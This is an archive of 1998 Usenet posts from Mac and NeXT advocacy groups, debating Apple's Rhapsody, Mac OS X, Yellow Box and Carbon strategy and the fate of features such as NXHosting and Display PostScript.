STAY CLEAR OF THE INTEL SITUATION
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 10:37:19 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C612F.F0CCCEEC@milestonerdl.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <355C3733.BC879B06@milestonerdl.com> <6jhp1e$ab8$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355C3733.BC879B06@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > > Leave unix out of
> > > the _consumer_ version of the MacOS X by default. Let me add it in or
> > > purchase a unix enabled version, though please.
>
> > This is the time to ask Apple to do just this. It seems that this wish *IS*
> > a reachable one. And all that needs to be done is to ask for it.
>
> If you'd been paying attention to the WWDC notes on Stepwise and
> developer.com, you'd see it seems that Apple already intends to do that.
> But it doesn't hurt to ask, to make sure they know it's wanted.
Yup. In the same manner that the G3 or G3 optimization is the MacOS X future is to
be clarified. The general leanings are
G3 optimized and NOT G3 only MacOS X
Unix supported/hooks are there and NOT no-unix-in-MacOS X.
If there are questions, that's because it's not clear. It would be nice to have
Apple clarify the mixed-up message.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 10:45:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C6315.B76259AA@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559D08E.CC749854@milestonerdl.com> <6jfual$1cc$32@ironhorse.plsys.co.uk> <355C4B7B.33644A11@milestonerdl.com> <6jhoch$a7i$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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Nathan Urban wrote:
> In article <355C4B7B.33644A11@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > mmalcolm crawford wrote:
>
> > > In <3559D08E.CC749854@milestonerdl.com> M Rassbach wrote:
>
> > > > Or, do you TRUST Apple?
>
> > > OK, since you're being such a pain, I guess it's time to start betting again.
>
> > I'm being a pain?
>
> > What? Truth hurts?
>
> <snicker> You're funny.
>
> > Brett talked about support for
> > Rhapsody in the future on multiple architectures, but again, he too was very
> > vague on this subject and did not specifically mention
> > Intel. We believe Steve briefed these keynote speakers ahead of time, and
> > warned them to stay clear of the Intel situation since they
> > aren't quite secure in this area.
> > Brett Halle, Manager of the Core OS group
> >
> > Seems to me the long-term plan isn't as clear as you state.
>
> Seems to me that only applies to RHAPSODY/Intel, not YB/Windows.
>
> > > I'm willing to lay down $100 that within a year of Win98 shipping Apple has
> > > YellowBox running on it.
>
> > > Put up or shut up.
>
> > I have a BETTER idea....when you can produce a formal statement by Apple
> > that NT 5.x/98 is part of their support plan, then I won't be able to comment
> > on this, now will I?
Where's the formal statement?
> First, I'd like to reiterate my point that Apple spending all this
> effort on YB/Windows only to drop it or stop keeping it up to date is
> too ludicrous even for Apple, given their situation and their already-
> proven willingness to make unpopular decisions that save them money and
> developer time. And the point that "bait-and-switch" is completely
> ridiculous, because people who choose YB/Windows are _not_ going to
> choose MacOS/PPC if YB/Windows is taken away
What logic. Reminds me of the logic that 'Apple won't cut the Newton, because they
have alot of effort tied up in it."
> -- they are the ones who
> use Windows because they have to. And the point that Apple's failure to
> issue a press release on a given matter usually implies _nothing_,
> given the past character of their PR efforts.
And the converse is true with Apple. Saying they'd do something and then NOT
delevering is in their past.
> But anyway.. I've been carefully avoiding this in my responses to you in
> the hopes that you would be dumb enough to take us up on that bet, but..
Looks to me like you've been avoiding it because you can't produce any official
statements by Apple about NT 5.X/98 support.
> "One thing that I do want to note is that it was mentioned on several
> occasions that Yellow Box for Windows is a long-term commitment, and
> that it will run on Windows 98 and NT 5.0 (if it ever appears). I think
> it was mentioned that DR2 runs on the current Windows 98 beta."
Then produce who's said it and when.
> -- Scott Anguish, WWDC attendee, maintainer of official Stepwise coverage
> (http://www.stepwise.com/SpecialCoverage/WWDC98/)
>
> (Note the "if it ever appears" refers to NT 5.0, not Yellow Box for
> Windows.)
Yup. Microsoft may never ship. And, BeOS will replace all OSes everywhere next week.
> Now since you haven't put up.. shut up.
And when did Mr. Anguish become an Apple employee?
I've been asking for clarification from Apple. Produce a URL, and I will.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 14:50:11 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ji2p3$avt$1@crib.bevc.blacksburg.va.us>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jgsb2$934$1@crib.bevc.blacksburg.va.us> <6ji0ni$n53$3@cronkite.cygnus.com>
In article <6ji0ni$n53$3@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
> In <6jgsb2$934$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> I can think of lots
> of ways to have an App draw, but the workspace do the refresh, in a way that
> doesn't require the workspace to ask the App to redraw. In fact, I can think
> of a light weight windowing design mechanism that would do this without
> sacrificing networking.
> [...]
Your idea sounds plausible to me, but I'm not an expert. Now someone
tell me that Apple's going to do this and not sacrifice remote-hosting. :-/
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 May 1998 18:33:48 GMT
Organization: P & L Systems
Message-ID: <6ji1qc$1cc$47@ironhorse.plsys.co.uk>
References: <tbrown-1405982230070001@mv079.axom.com> <B1810BBB-15F43@206.165.43.99>
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Cc: english@primenet.com
In <B1810BBB-15F43@206.165.43.99> "Lawson English" wrote:
> PS graphics sans PS language is Bravo.
>
No, it could also be PDF.
Like they said it's going to be.
PDF is basically PS instructions without the interpreted language.
But a whole load of other neat features instead.
So "porting" to the new imaging model from DPS should be straighforward, and
gain some performance enhancements.
mmalc.
Message-ID: <355C9162.DF3BDCAE@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <355B31C4.77DFDC17@spamtoNull.com> <B1809421-72A1E@207.217.155.114>
Content-Type: text/plain; charset=us-ascii
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Date: Fri, 15 May 1998 18:59:25 GMT
NNTP-Posting-Date: Fri, 15 May 1998 14:59:25 EDT
Brad Hutchings wrote:
>
> Harker wrote:
>
> >OK, then, Jobs was lying when he said Apple was dropping 2000 APIs, of
> >course.
> >
>
> The ultimate clue that you're clueless too is how you phrased that
> sentence. A more correct term would be "function calls". It would also be
> nice if Apple had a CEO who didn't leave me cringing at his word choice,
> but that's a different issue.
So Jobs is clueless, too? After all, I *quoted* him....:)
>
> What Jobs _really_ meant in his keynote was that the whole MacOS API has
> about 10,000 function calls, of which about 8,000 could be mapped the
> MacOSX underpinnings. Many sets of function calls (the sets are APIs, such
> as the Speech Manager) are still under consideration.
Thank you for interpreting Jobs' comments for me and telling me what he
"really meant." I'm sure Jobs is grateful beyond measure.
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Fri, 15 May 1998 13:44:05 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1505981344050001@130.130.117.53>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com> <Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk> <Et04LK.4zv@micmac.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <Et04LK.4zv@micmac.com>, nospam@micmac.com wrote:
:This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
:(<6jcl93$1cc$26@ironhorse.plsys.co.uk>) by mmalcolm crawford:
:> In <Esvx8v.6n8@micmac.com> Michel Coste wrote:
:>
:> > And since Rhapsody was never the official name of the future system we
:can
:> > say that nothing has changed...
:> >
:> Except that unfortunately Rhapsody will now be released as "Rhapsody".
:>
:> I say unfortunately purely from the perspective of an OPENSTEP developer:
:the
:> strategy Apple has outlined is technically very good for us; from the
:> marketing perspective it makes things difficult. The average customer is
:> going to need a lot of convincing that Rhapsody 1.0 isn't just going to be
:an
:> orphaned product on release -- if you need proof look at how many people
:here
:> still think Rhapsody's dead. This means that it's going to be a lot more
:> difficult gaining new sales than it need have been had the strategy been
:more
:> transparent. Making the strategy more transparent, however, might have
:been
:> the greater of the two evils.
:>
:
:
:I see personnally Mac OS X as Rhapsody 2.0!
Exactly ... Rhapsody 2 + Macos 8 =II + VIII = X
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: jklein@ivy.hampshire.edu (jonathan klein)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Followup-To: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Date: 15 May 98 19:33:34 GMT
Message-ID: <355c988e.0@192.33.12.30>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com>
Henry McGilton (henry@trilithon.com) wrote:
: Nathan Urban wrote:
: * This is bad. :( What good is having the pretense
: * of a network-aware GUI-based OS without being able
: * to run apps remotely??
: Nathan, the lack of NXHosting may be "bad" from a specialised
: viewpoint of some developers and some specialised applications
: such as Mathematica et al. But I don't believe it's "bad"
: in the broader picture of the PC consumer market. Ninety nine
: percent of Mac and PC users wouldn't knonw remote hosting if
: it bit them on the leg, wouldn't understand it if you explained
: it to them, and wouldn't know what to do with it even then.
Think of the schools and businesses with hundreds or thousands of
computers and the two or three administrators who have to manage
all the machines.
When the time comes to make a proposal to buy new machines, there would
be a *really* strong argument in favor of machines that can be fully
managed remotely and can run all of the applications that normal users
need to run.
--
-jon klein,
jklein@ivy.hampshire.edu
NeXTmail welcome
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 18:56:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ji34d$roo$1@nnrp1.dejanews.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com> <6jfual$1cc$32@ironhorse.plsys.co.uk> <355C4B7B.33644A11@milestonerdl.com>
mark@milestonerdl.com wrote:
> I'm being a pain?
> What? Truth hurts? Face it, I have a credible message questioning Apple's
> committment to Intel/NT 5.x/98 as a long term option. And you are to in
> love with Apple to admit there is a problem.
See Scott Anguish's comments on:
http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
:: One thing that I do want to note is that it was mentioned on
:: several occasions that Yellow Box for Windows is a long-term
:: commitment, and that it will run on Windows 98 and NT 5.0 (if
:: it ever appears). I think it was mentioned that DR2 runs on
:: the current Windows 98 beta.
Now can we go back to arguing about GX?
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Fri, 15 May 1998 15:07:55 -0700
Organization: PM Global Foods, LLC
Message-ID: <355CBCBB.F4AA99FB@nospam.com>
References: <ericb-1105981718430001@132.236.171.104> <EsvyKp.7tA@micmac.com> <see-below-1305981927430001@209.24.241.190> <355B18A1.E7370B93@nospam.com> <6jfdos$7au$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
>
> > It makes *everything* so much clearer since *noone* with switch to
> > Rhapsody. It is a version of Unix for a company that has no Unix
> > experience.
>
> ???! Not only does Apple have Unix experience (A/UX and AIX), but their
> whole Rhapsody development team was taken from NeXT, with over a decade
> of solid Unix experience. Their VP of Software Engineering is from NeXT.
And AIX or A/UX is going to convince a potential unix purchaser to by
from Apple? When a company says "we need Unix to do this" they don't
look to Apple. When you consider this new Mac OS X plan, which seems to
me to sound like "merge Rhapsody until Mac OS and get rid of a need for
a Rhapsody stand-alone", why would a person that needs Unix features go
to Apple instead of Sun, HP or Digital?
> > It has no applications and will likely not even exist in 3
> > years since it will compete with Mac OS X and Apple's only priority
> > right now seems to be to keep making Mac OS apps.
>
> How would Rhapsody "compete" with MacOS X??? Either way, Apple makes
> a sale -- and if they sold Rhapsody as a separate product, would probably
> make a higher margin on it by charging more for it. Rhapsody applications
> will run on MacOS X. MacOS X apps would probably run on Rhapsody as well;
> the Carbon demo we saw was running on Rhapsody.
I would compete because an OS is a platform for applications. I would
have a hard time believing developers have been running to Apple over
the years. So, Apple announced Carbon to keep those developers from
jumping ship, assuming many of them won't completely rewrite their apps
for Rhapsody. This is also understandable given the marketshare.
However, Microsoft got a huge number of Win32 apps in the channel very
quickly by pretty much telling people to start working on Win32 and that
it will work on everything in the future. All development tool
revisions included only Win32 building (Visual C++ ended 16bit support
before 2.0) Carbon is a good thing, but unless Apple backs off this
"merging to carbon" strategy, rather than stating "carbon is a bridge
until you convert to yellow box" then the two APIs are pitted against
eachother in the minds of developers. As a developer, I want to know if
in 3 years Apple will be pushing Carbon tools or pushing Yellow Box. If
they are still pushing Carbon instead of yellow box, we can assume
yellow box is dead and cross-platform probably dies with it.
> > The fact that
> > Rhapsody apps can run in Mac OS X is like Win16 apps running under
> > OS/2.
>
> No, it's not even remotely similar!!
Here's how it is: Rhapsody apps don't really exist. So, it isn't a
selling point for Mac OS X. If carbon is pushed as the pimary API for
Mac OS X (must as the OS/2 API was pushed by IBM) then why bother with
Yellow Box? Yellow Box's only chance of success is being THE primary
API, with Carbon being a "compatibility layer." Perhaps this is what
Apple really has in mind, but if they don't get the message in
proportion soon, then why on earth would a new Rhapsody project being?
People that already make Mac apps will convert to Carbon (at best
keeping market share at 4%) and new Yellow Box development won't exist
(at best keeping market share at 4% still.) The goal, I thought, was to
make developers that would develop for Windows want to switch to Yellow
Box. Carbon, if hyped as anything more than a compatibility layer with
GREAT performance, dilutes the developer base to only existing Mac
developers. Yellow could grow the base as deployment for Intel is
essential to financial success for many companies.
> > They are claiming that Rhapsody is a server platform: where's the RAID
> > support?
>
> Good question. Have they had a filesystem discussion at WWDC? It looks
> like Rhapsody will have HFS+, anything they do for the OS X filesystem
> would probably translate. (As you may have noticed, OS X and Rhapsody
> are basically the same thing.)
Once again, hardware is what makes a server at least as much as
software. NeXT's and so far Apple's hardware support commitment for
Intel is non-existant. Without the ability to run Rhapsody on a top-end
Compaq Intel server, what new market does Apple want to get into?
> > Where's all the web servers?
>
> Anything that runs on Unix should be portable to it.
Doubtful without some work. Who will work on it when Apple makes a
Yellow app seem like a step-child to Carbon. People will want some sort
of graphical display and no X server announcements have been made. Once
again, if it is just pushed as a better Unix with a different shell and
no hardware support they won't win many customers.
> > Where's the printer drivers?
>
> I dunno. Do you have a list of the printer drivers that will ship with
> Rhapsody? I'm sure they're doing plenty of driver development, and
> again, any OS X driver will likely work on Rhapsody -- they're both
> going through Mach/BSD!
Look into this some more, you are wrong from my NeXT / OpenStep
experience. They put hard postscript and that worked "ok" for
OpenStep. The NeXT driver situation was completely different than most
*nix's. I have yet to see even preliminary hardware development kits
for Rhapsody-Intel.
> Anyway, you usually don't do console printing from servers.
Servers serve printers in a way that must be native to the clients.
There must still be some work put into this. The world is heterogenous,
even MS is advertising that they realize this (they don't, but they say
they do :) Intel is a cluster-fuc* of a world with hardware support. I
understand Apple's reluctance to play the game, but they LOST when they
didn't and now isn't any different. People seem to lose track of
history pretty quickly.
> > What will it serve and who will choose it instead of NT or straight Unix
> > when it isn't marketed as a client (thereby no apps)?
>
> See above about Rhapsody<->OS X apps.
Hey, you're not paying attention to what I see as a problem. I know
that OS X is supposed to run YB apps. But I don't think there will BE
any Rhapsody apps if OS X apps (Carbon) are what is being promoted by
Apple. Will we see a port of Navitgator to Yellow Box if the Carbon
port is what Apple really wants? This could change and I could be
getting myself in a knot for nothing, but I'm not alone in interpreting
the WWDC as a big "yellow box isn't important" festival.
> > I run NeXT in my
> > office and it is a GREAT client. It does everything an NC is supposed
> > to do. Yet they are "merging" it into Mac OS X and we'll never see
> > decent Intel support.
>
> Says who?
I hae run NeXTSTEP since v3.0 here. The OpenStep 4.2 I installed the
other day did not have much better support than 3.0. The Rhapsody DR1
had _less_ support than OpenStep and their still isn't a driver kit.
What motivation is their for Intel support of most apps are written in
Carbon, and Apple has stated Carbon won't run on Intel. This could be
cleared up by Apple with these words:
"Yellow Box is the primary API for all future releases of the Mac OS and
Rhapsody starting with Mac OS X. Carbon is a subset API to allow
current Mac applications to be recompiled to perform as well as Yellow
Box apps." This is all we ask :) Apple has instead said NOTHING about
Yellow Box that has been encouraging for a long time so I'm pretty much
halting all Yellow development until Apple comes up with a stronger
plan. And as someone who has written large NeXTSTEP apps and is
familiar with their API and ObjectiveC - this is a hard decision because
the NeXT framework is GREAT as is ObjC.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: Fri, 15 May 1998 15:12:07 -0700
Organization: PM Global Foods, LLC
Message-ID: <355CBDB7.16A71990@nospam.com>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <355A8F10.1D5858B4@unet.univie.ac.at>
<see-below-1405980105050001@209.24.241.190> <6jf0bk$3d2$2@diana.bcn.ibernet.es>
<6jfnhh$15o$2@msunews.cl.msu.edu> <6jh84t$c6u$1@diana.bcn.ibernet.es>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Josep Egea i Sanchez wrote:
>
> However, before reading your post, I thought that only PPC RDR2 had been
> released on WWDC. If your comment is right and RDR2 Intel is also there, then
> I have no complains.
DR2 has been released to developers for the PPC, but they have not
received the Intel version yet (at least that is from a very good source
:)
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: andre_tomt@cyberdude.com (Andre Tomt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:22:02 +0200
Organization: Spamming is futile...
Sender: macfreak@pc4.holmlia.online.no
Message-ID: <1d9380v.p9wcmxbu7ozeN@pc4.holmlia.online.no>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk> <see-below-1505980333080001@209.24.240.3>
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Matthew Vaughan <see-below@not-my-address.com> wrote:
> Are you talking about only CR1, or about later releases (ie, same time as
> OS 10)? In other words, did they say any more about continuing
> Rhapsody/PPC (server) releases, and how/when/if it will merge into OS 10?
Go to <http://applewwdc98.isocket.com/theater.html>. All speeches is in
QT format. But they ar LARGE an u should have a fat net connection and
lotsa spare time if u plan to watch them ;)
They clarify lotsa rumors and lies about the death of Raphsody etc.
(Raphsody is NOT dead, it will continue as a server os, and YellowBox
developer tools will be intregated in to MacOS 10)
--
André Tomt -> andre_tomt@cyberdude.com
<http://home.sol.no/~macfreak/>
From: andre_tomt@cyberdude.com (Andre Tomt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:22:04 +0200
Organization: Spamming is futile...
Sender: macfreak@pc4.holmlia.online.no
Message-ID: <1d938ni.mhz3ft8jlj5sN@pc4.holmlia.online.no>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <ericb-1405981232000001@132.236.171.104> <355C8A93.F71D9C6D@spamtoNull.com>
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(sorry for messing up the threading of this thread, the article isn't
availible on my news server by some strange reason...)
Eric Bennett wrote:
> > "Keep writing your apps to MacOS APIs. We know new APIs are so hard to
> > learn that developers will ignore them no matter what features they
> > offer. To show that we really understand this philosophy, we're not going
> > to use a decent imaging API like DPS or GX in our new OS. We're using
> > sucky 'ol QuickDraw.
They're improving the "sucky 'ol QuickDraw". It will boost features from
GX and DPS.
> > We'll ship a version of Rhapsody x86 and YB for
> > Windows and see how many people we can sucker into using it, but as you've
> > seen we refuse to commit to either for the long term, and observant people
> > can probably figure out what that means.
They didn't say that. Take some time at
<http://applewwdc98.isocket.com/theater.html>.
> > And just to prove how crazy we
> > are, we're not going to support that spiffy, expensive 9600/350 you just
> > bought at the beginning of this year."
huh? They DIDN'T say that either...
--
André Tomt -> andre_tomt@cyberdude.com
<http://home.sol.no/~macfreak/>
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 15 May 1998 15:28:33 -0700
Organization: PM Global Foods, LLC
Message-ID: <355CC191.DC8B09BA@nospam.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3>
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Eric King wrote:
> :Why do people keep saying this? Does anyone know the difference between
> :Carbon and Yellow???
>
> Sure they do, and writing for Yellow is still a heap of work. The work
> may very well be worth it in the long run, but who wants to trust Apple in
> the long run. If Mac OS X ships in 1999, I wouldn't expect a mass Yellow
> Box migration before 2001.
And if Apples doesn't start to state that Yellow Box is the *primary*
API for the future of Apple, then noone will ever write for Yellow,
they'll just keep plugging away at Carbon and market share will drop as
no new developers come on board (since no software would be written for
anything but the Mac OS for PPC.)
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: tsui@cs.indiana.edu (Yufeng Tsui)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 1998 14:37:08 -0500
Organization: Computer Science, Indiana University
Message-ID: <6ji5h4$s4k@sheepskin.cs.indiana.edu>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
In article <355c988e.0@192.33.12.30>,
jonathan klein <jklein@ivy.hampshire.edu> wrote:
>Henry McGilton (henry@trilithon.com) wrote:
>: Nathan Urban wrote:
>
>: * This is bad. :( What good is having the pretense
>: * of a network-aware GUI-based OS without being able
>: * to run apps remotely??
>
>: Nathan, the lack of NXHosting may be "bad" from a specialised
>: viewpoint of some developers and some specialised applications
>: such as Mathematica et al. But I don't believe it's "bad"
>: in the broader picture of the PC consumer market. Ninety nine
>: percent of Mac and PC users wouldn't knonw remote hosting if
>: it bit them on the leg, wouldn't understand it if you explained
>: it to them, and wouldn't know what to do with it even then.
>
>Think of the schools and businesses with hundreds or thousands of
>computers and the two or three administrators who have to manage
>all the machines.
>
>When the time comes to make a proposal to buy new machines, there would
>be a *really* strong argument in favor of machines that can be fully
>managed remotely and can run all of the applications that normal users
>need to run.
>
Killing NXHosting is, IMHO, a bad thing. You no longer get it for free.
Maybe someone can write anapplication to do this, like screencast or
PC Anywhere. And then you can manage all your stuff remotely. Maybe
someone third party has already started this???
--yufeng
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X, Unix, and Open Firmware (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Fri, 15 May 1998 14:32:45 -0500
Organization: KAOS
Message-ID: <19980515143245762857@sdn-ts-009txhousp03.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <19980514155241852134@sdn-ts-011txhousp14.dialsprint.net> <B181637B-B057D@204.31.112.117> <see-below-1505980342450001@209.24.240.3>
Matthew Vaughan wrote:
> I suspect that if it were G3-only, it would _not_ work with 9600, S900,
> and other earlier machines with G3 upgrades. I'm not sure what the issue
> would be, probably OF, possibly just not wanting to spend the time to
> support too much hardware. At any rate, ROM wouldn't be an issue, since OS
> 10 won't be using the Mac Toolbox in ROM, and I imagine it wouldn't be a
> processor-dependant issue, either.
>
> I would be shocked if it were G3-only, but might understand if they
> started off with more-limited hardware support and worked down from there,
> as Rhapsody DR1 did.
After reading the Apple VP's statements, I will no longer be "shocked."
;-) I suspect you may be right, however, that Apple will start with a
small set of supported hardware and gradually expand. Even if they do
expand the list, though, I won't be surprised if they stop at 604e
machines. This also helps explain why they are releasing Sonata
concurrently with OS X.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: 15 May 1998 19:37:03 GMT
Organization: Michigan State University
Message-ID: <6ji5gv$n8h$3@msunews.cl.msu.edu>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <355A8F10.1D5858B4@unet.univie.ac.at>
<see-below-1405980105050001@209.24.241.190> <6jf0bk$3d2$2@diana.bcn.ibernet.es>
<6jfnhh$15o$2@msunews.cl.msu.edu> <6jh84t$c6u$1@diana.bcn.ibernet.es>
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Cc: jes@rednsi.com
In <6jh84t$c6u$1@diana.bcn.ibernet.es> Josep Egea i Sanchez wrote:
> In <6jfnhh$15o$2@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com
> wrote:
> > In <6jf0bk$3d2$2@diana.bcn.ibernet.es> Josep Egea i Sanchez wrote:
> > >
> > > I can't know whether it is true or false. But if you need a
reason for
> > > Apple to delay DR2 Intel, it could perfectly be the same that
applied to
> > > DR1 Intel. (and DR1 Intel progress was way ahead from DR1 PPC for
obvious
> > > reasons)
> >
> > I think it's hard to say since they are also doing kernel work, YB
> > enhancements (can you say Java) and a lot of other stuff. Surely
BlueBox
> > on PPC is an issue but it wouldn't be good form to release intel
before PPC
> > (not this time). BTW: DR2 for Intel and PPC were released at WWDC
together
> > so that tells you something (I wish I could have been there). I'd
be
> > willing to bet that Apple will ship both PPC and Intel to
developers
> > together the first week of May.
>
> When I was talking about obvious reasons I wasn't thinking on the
BlueBox but
> on the fact that software was already written (and optimized) for
Intel. New
> improvements (Java, YB additions, etc) had to be created for both
versions,
> so I don't see any reason for this additions to delay either port
>
> Anyway, I wasn't advocating for an anticipated Intel release but for
a
> simultaneous Intel/PPC one. I agree that Apple can't afford to offer
an Intel
> version prior to PPC, but I cannot find a rational reason to delay
Rhapsody
> Intel.
>
> However, before reading your post, I thought that only PPC RDR2 had
been
> released on WWDC. If your comment is right and RDR2 Intel is also
there, then
> I have no complains.
>
> I wish I'd be there too... :-)
> Best regards
I just checked Scott Anguish's pages again. I'm wrong there was no
Rhapsody
for Intel at WWDC.
I apologize for the misleading information and hereby rectify it.
http://www.stepwise.com/SpecialCoverage/WWDC98/Sunday.html
I also agree I don't understand why Intel would be pushed back a bit.
Perhaps they wanted to finish doing some tuning for Intel?? :) I
think
they are working hard on the PPC code and then folding in to the Intel
version. Which makes sense for them.. It would have been nice to
have both at the same time. I darn well hope they get this right
for CR1!
Again I apologize for misleading folks on Rhapsody for Intel @ WWDC.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 14:40:37 -0500
Organization: KAOS
Message-ID: <19980515144037791248@sdn-ts-009txhousp03.dialsprint.net>
